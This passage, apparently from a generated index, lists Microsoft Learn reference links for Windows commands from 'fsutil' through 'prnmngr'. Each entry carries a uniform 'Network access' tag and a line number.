- [fsutil file](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-file) - Network accessline 299
- [fsutil fsinfo](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-fsinfo) - Network accessline 300
- [fsutil hardlink](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-hardlink) - Network accessline 301
- [fsutil objectid](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-objectid) - Network accessline 302
- [fsutil quota](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-quota) - Network accessline 303
- [fsutil repair](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-repair) - Network accessline 304
- [fsutil reparsepoint](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-reparsepoint) - Network accessline 305
- [fsutil resource](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-resource) - Network accessline 306
- [fsutil sparse](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-sparse) - Network accessline 307
- [fsutil tiering](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-tiering) - Network accessline 308
- [fsutil transaction](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-transaction) - Network accessline 309
- [fsutil usn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn) - Network accessline 310
- [fsutil volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-volume) - Network accessline 311
- [fsutil wim](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-wim) - Network accessline 312
- [ftp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp) - Network accessline 313
- [ftp append](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-append) - Network accessline 314
- [ftp ascii](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-ascii) - Network accessline 315
- [ftp bell](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-bell_1) - Network accessline 316
- [ftp binary](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-binary) - Network accessline 317
- [ftp bye](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-bye) - Network accessline 318
- [ftp cd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-cd) - Network accessline 319
- [ftp close](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-close_1) - Network accessline 320
- [ftp debug](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-debug) - Network accessline 321
- [ftp delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-delete) - Network accessline 322
- [ftp dir](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-dir) - Network accessline 323
- [ftp disconnect](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-disconnect_1) - Network accessline 324
- [ftp get](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-get) - Network accessline 325
- [ftp glob](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-glob_1) - Network accessline 326
- [ftp hash](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-hash_1) - Network accessline 327
- [ftp lcd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-lcd) - Network accessline 328
- [ftp literal](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-literal_1) - Network accessline 329
- [ftp ls](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-ls_1) - Network accessline 330
- [ftp mdelete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp.mdelete_1) - Network accessline 331
- [ftp mdir](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp.mdir) - Network accessline 332
- [ftp mget](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-mget) - Network accessline 333
- [ftp mkdir](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-mkdir) - Network accessline 334
- [ftp mls](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-mls_1) - Network accessline 335
- [ftp mput](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-mput_1) - Network accessline 336
- [ftp open](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-open_1) - Network accessline 337
- [ftp prompt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-prompt_1) - Network accessline 338
- [ftp put](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-put) - Network accessline 339
- [ftp pwd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-pwd_1) - Network accessline 340
- [ftp quit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-quit) - Network accessline 341
- [ftp quote](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-quote) - Network accessline 342
- [ftp recv](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-recv) - Network accessline 343
- [ftp remotehelp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-remotehelp_1) - Network accessline 344
- [ftp rename](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-rename) - Network accessline 345
- [ftp rmdir](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-rmdir) - Network accessline 346
- [ftp send](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-send_1) - Network accessline 347
- [ftp status](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-status) - Network accessline 348
- [ftp trace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-trace_1) - Network accessline 349
- [ftp type](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-type) - Network accessline 350
- [ftp user](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-user) - Network accessline 351
- [ftp verbose](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp-verbose_1) - Network accessline 352
- [ftype](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftype) - Network accessline 353
- [fveupdate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fveupdate) - Network accessline 357
- [getmac](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/getmac) - Network accessline 358
- [gettype](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/gettype) - Network accessline 359
- [goto](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/goto) - Network accessline 360
- [gpfixup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/gpfixup) - Network accessline 361
- [gpresult](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult) - Network accessline 362
- [gpt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/gpt) - Network accessline 363
- [gpupdate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/gpupdate) - Network accessline 364
- [graftabl](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/graftabl) - Network accessline 368
- [help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/help) - Network accessline 369
- [helpctr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/helpctr) - Network accessline 370
- [hostname](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/hostname) - Network accessline 374
- [icacls](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/icacls) - Network accessline 375
- [if](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/if) - Network accessline 376
- [import (shadowdisk)](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/import) - Network accessline 377
- [import (diskpart)](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/import_1) - Network accessline 378
- [inactive](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/inactive) - Network accessline 379
- [ipconfig](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ipconfig) - Network accessline 380
- [ipxroute](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ipxroute) - Network accessline 381
- [irftp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/irftp) - Network accessline 385
- [jetpack](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/jetpack) - Network accessline 386
- [klist](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/klist) - Network accessline 387
- [ksetup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup) - Network accessline 388
- [ksetup addenctypeattr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-addenctypeattr) - Network accessline 389
- [ksetup addhosttorealmmap](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-addhosttorealmmap) - Network accessline 390
- [ksetup addkdc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-addkdc) - Network accessline 391
- [ksetup addkpasswd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-addkpasswd) - Network accessline 392
- [ksetup addrealmflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-addrealmflags) - Network accessline 393
- [ksetup changepassword](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-changepassword) - Network accessline 394
- [ksetup delenctypeattr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-delenctypeattr) - Network accessline 395
- [ksetup delhosttorealmmap](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-delhosttorealmmap) - Network accessline 396
- [ksetup delkdc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-delkdc) - Network accessline 397
- [ksetup delkpasswd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-delkpasswd) - Network accessline 398
- [ksetup delrealmflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-delrealmflags) - Network accessline 399
- [ksetup domain](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-domain) - Network accessline 400
- [ksetup dumpstate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-dumpstate) - Network accessline 401
- [ksetup getenctypeattr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-getenctypeattr) - Network accessline 402
- [ksetup listrealmflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-listrealmflags) - Network accessline 403
- [ksetup mapuser](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-mapuser) - Network accessline 404
- [ksetup removerealm](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-removerealm) - Network accessline 405
- [ksetup server](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-server) - Network accessline 406
- [ksetup setcomputerpassword](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-setcomputerpassword) - Network accessline 407
- [ksetup setenctypeattr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-setenctypeattr) - Network accessline 408
- [ksetup setrealm](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-setrealm) - Network accessline 409
- [ksetup setrealmflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ksetup-setrealmflags) - Network accessline 410
- [ktmutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ktmutil) - Network accessline 411
- [ktpass](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ktpass) - Network accessline 415
- [label](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/label) - Network accessline 416
- [list](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/list) - Network accessline 417
- [list providers](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/list-providers) - Network accessline 418
- [list shadows](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/list-shadows) - Network accessline 419
- [list writers](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/list-writers) - Network accessline 420
- [load metadata](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/load-metadata) - Network accessline 421
- [lodctr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/lodctr) - Network accessline 422
- [logman](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman) - Network accessline 423
- [logman create](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-create) - Network accessline 424
- [logman create alert](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-create-alert) - Network accessline 425
- [logman create api](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-create-api) - Network accessline 426
- [logman create cfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-create-cfg) - Network accessline 427
- [logman create counter](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-create-counter) - Network accessline 428
- [logman create trace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-create-trace) - Network accessline 429
- [logman delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-delete) - Network accessline 430
- [logman import and logman export](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-import-export) - Network accessline 431
- [logman query](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-query) - Network accessline 432
- [logman start and logman stop](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-start-stop) - Network accessline 433
- [logman update](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-update) - Network accessline 434
- [logman update alert](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-update-alert) - Network accessline 435
- [logman update api](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-update-api) - Network accessline 436
- [logman update cfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-update-cfg) - Network accessline 437
- [logman update counter](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-update-counter) - Network accessline 438
- [logman update trace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman-update-trace) - Network accessline 439
- [logoff](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logoff) - Network accessline 440
- [lpq](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/lpq) - Network accessline 441
- [lpr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/lpr) - Network accessline 445
- [macfile](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/macfile) - Network accessline 446
- [makecab](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/makecab) - Network accessline 447
- [manage bde](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde) - Network accessline 448
- [manage bde status](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-status) - Network accessline 449
- [manage bde on](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-on) - Network accessline 450
- [manage bde off](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-off) - Network accessline 451
- [manage bde pause](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-pause) - Network accessline 452
- [manage bde resume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-resume) - Network accessline 453
- [manage bde lock](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-lock) - Network accessline 454
- [manage bde unlock](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-unlock) - Network accessline 455
- [manage bde autounlock](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-autounlock) - Network accessline 456
- [manage bde protectors](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-protectors) - Network accessline 457
- [manage bde tpm](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-tpm) - Network accessline 458
- [manage bde setidentifier](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-setidentifier) - Network accessline 459
- [manage bde forcerecovery](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-forcerecovery) - Network accessline 460
- [manage bde changepassword](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-changepassword) - Network accessline 461
- [manage bde changepin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-changepin) - Network accessline 462
- [manage bde changekey](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-changekey) - Network accessline 463
- [manage bde keypackage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-keypackage) - Network accessline 464
- [manage bde upgrade](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-upgrade) - Network accessline 465
- [manage bde wipefreespace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/manage-bde-wipefreespace) - Network accessline 466
- [mapadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mapadmin) - Network accessline 467
- [md](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/md) - Network accessline 468
- [merge vdisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/merge-vdisk) - Network accessline 469
- [mkdir](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mkdir) - Network accessline 470
- [mklink](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mklink) - Network accessline 471
- [mmc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mmc) - Network accessline 472
- [mode](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mode) - Network accessline 473
- [more](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/more) - Network accessline 474
- [mount](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mount) - Network accessline 475
- [mountvol](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mountvol) - Network accessline 476
- [move](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/move) - Network accessline 477
- [mqbkup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mqbkup) - Network accessline 478
- [mqsvc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mqsvc) - Network accessline 479
- [mqtgsvc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mqtgsvc) - Network accessline 480
- [msdt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msdt) - Network accessline 481
- [msg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msg) - Network accessline 482
- [msiexec](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec) - Network accessline 483
- [msinfo32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msinfo32) - Network accessline 484
- [mstsc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc) - Network accessline 488
- [nbtstat](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nbtstat) - Network accessline 489
- [netcfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netcfg) - Network accessline 490
- [netdom](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom) - Network accessline 491
- [netdom add](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-add) - Network accessline 492
- [netdom computername](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-computername) - Network accessline 493
- [netdom join](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-join) - Network accessline 494
- [netdom move](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-move) - Network accessline 495
- [netdom movent4bdc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-movent4bdc) - Network accessline 496
- [netdom query](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-query) - Network accessline 497
- [netdom remove](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-remove) - Network accessline 498
- [netdom renamecomputer](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-renamecomputer) - Network accessline 499
- [netdom reset](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-reset) - Network accessline 500
- [netdom resetpwd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-resetpwd) - Network accessline 501
- [netdom trust](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-trust) - Network accessline 502
- [netdom verify](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netdom-verify) - Network accessline 503
- [net print](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-print) - Network accessline 504
- [net user](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-user) - Network accessline 505
- [netsh](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh) - Network accessline 506
- [netsh add](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-add) - Network accessline 507
- [netsh advfirewall](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-advfirewall) - Network accessline 508
- [netsh branchcache](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-branchcache) - Network accessline 509
- [netsh bridge](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-bridge) - Network accessline 510
- [netsh delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-delete) - Network accessline 511
- [netsh dhcpclient](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-dhcpclient) - Network accessline 512
- [netsh dnsclient](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-dnsclient) - Network accessline 513
- [netsh dump](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-dump) - Network accessline 514
- [netsh exec](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-exec) - Network accessline 515
- [netsh http](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-http) - Network accessline 516
- [netsh interface](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-interface) - Network accessline 517
- [netsh ipsec](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-ipsec) - Network accessline 518
- [netsh lan](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-lan) - Network accessline 519
- [netsh mbn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-mbn) - Network accessline 520
- [netsh namespace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-namespace) - Network accessline 521
- [netsh netio](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-netio) - Network accessline 522
- [netsh nlm](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-nlm) - Network accessline 523
- [netsh ras](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-ras) - Network accessline 524
- [netsh rpc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-rpc) - Network accessline 525
- [netsh set](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-set) - Network accessline 526
- [netsh show](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-show) - Network accessline 527
- [netsh trace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-trace) - Network accessline 528
- [netsh wcn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-wcn) - Network accessline 529
- [netsh wfp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-wfp) - Network accessline 530
- [netsh winhttp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-winhttp) - Network accessline 531
- [netsh winsock](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-winsock) - Network accessline 532
- [netsh wlan](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-wlan) - Network accessline 533
- [netstat](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netstat) - Network accessline 534
- [nfsadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nfsadmin) - Network accessline 535
- [nfsshare](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nfsshare) - Network accessline 536
- [nfsstat](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nfsstat) - Network accessline 537
- [nlbmgr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nlbmgr) - Network accessline 538
- [nltest](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935%28v=ws.11%29) - Network accessline 539
- [nslookup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup) - Network accessline 540
- [nslookup exit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-exit-command) - Network accessline 541
- [nslookup finger](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-finger-command) - Network accessline 542
- [nslookup help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-help) - Network accessline 543
- [nslookup ls](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-ls) - Network accessline 544
- [nslookup lserver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-lserver) - Network accessline 545
- [nslookup root](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-root) - Network accessline 546
- [nslookup server](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-server) - Network accessline 547
- [nslookup set](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set) - Network accessline 548
- [nslookup set all](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-all) - Network accessline 549
- [nslookup set class](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-class) - Network accessline 550
- [nslookup set d2](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-d2) - Network accessline 551
- [nslookup set debug](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-debug) - Network accessline 552
- [nslookup set domain](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-domain) - Network accessline 553
- [nslookup set port](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-port) - Network accessline 554
- [nslookup set querytype](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-querytype) - Network accessline 555
- [nslookup set recurse](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-recurse) - Network accessline 556
- [nslookup set retry](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-retry) - Network accessline 557
- [nslookup set root](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-root) - Network accessline 558
- [nslookup set search](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-search) - Network accessline 559
- [nslookup set srchlist](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-srchlist) - Network accessline 560
- [nslookup set timeout](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-timeout) - Network accessline 561
- [nslookup set type](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-type) - Network accessline 562
- [nslookup set vc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-vc) - Network accessline 563
- [nslookup view](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-view) - Network accessline 564
- [ntbackup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ntbackup) - Network accessline 565
- [ntcmdprompt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ntcmdprompt) - Network accessline 566
- [ntfrsutl](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ntfrsutl) - Network accessline 570
- [offline](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/offline) - Network accessline 571
- [offline disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/offline-disk) - Network accessline 572
- [offline volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/offline-volume) - Network accessline 573
- [online](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/online) - Network accessline 574
- [online disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/online-disk) - Network accessline 575
- [online volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/online-volume) - Network accessline 576
- [openfiles](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/openfiles) - Network accessline 580
- [pagefileconfig](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pagefileconfig) - Network accessline 581
- [path](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/path) - Network accessline 582
- [pathping](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pathping) - Network accessline 583
- [pause](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pause) - Network accessline 584
- [pbadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pbadmin) - Network accessline 585
- [pentnt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pentnt) - Network accessline 586
- [perfmon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/perfmon) - Network accessline 587
- [ping](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ping) - Network accessline 588
- [pktmon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pktmon) - Network accessline 589
- [pnpunattend](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pnpunattend) - Network accessline 590
- [pnputil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pnputil) - Network accessline 591
- [popd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/popd) - Network accessline 592
- [powershell](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/powershell) - Network accessline 593
- [powershell ise](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/powershell_ise) - Network accessline 594
- [print](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/print) - Network accessline 595
- [prncnfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prncnfg) - Network accessline 596
- [prndrvr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prndrvr) - Network accessline 597
- [prnjobs](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prnjobs) - Network accessline 598
- [prnmngr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prnmngr) - Network accessline 599
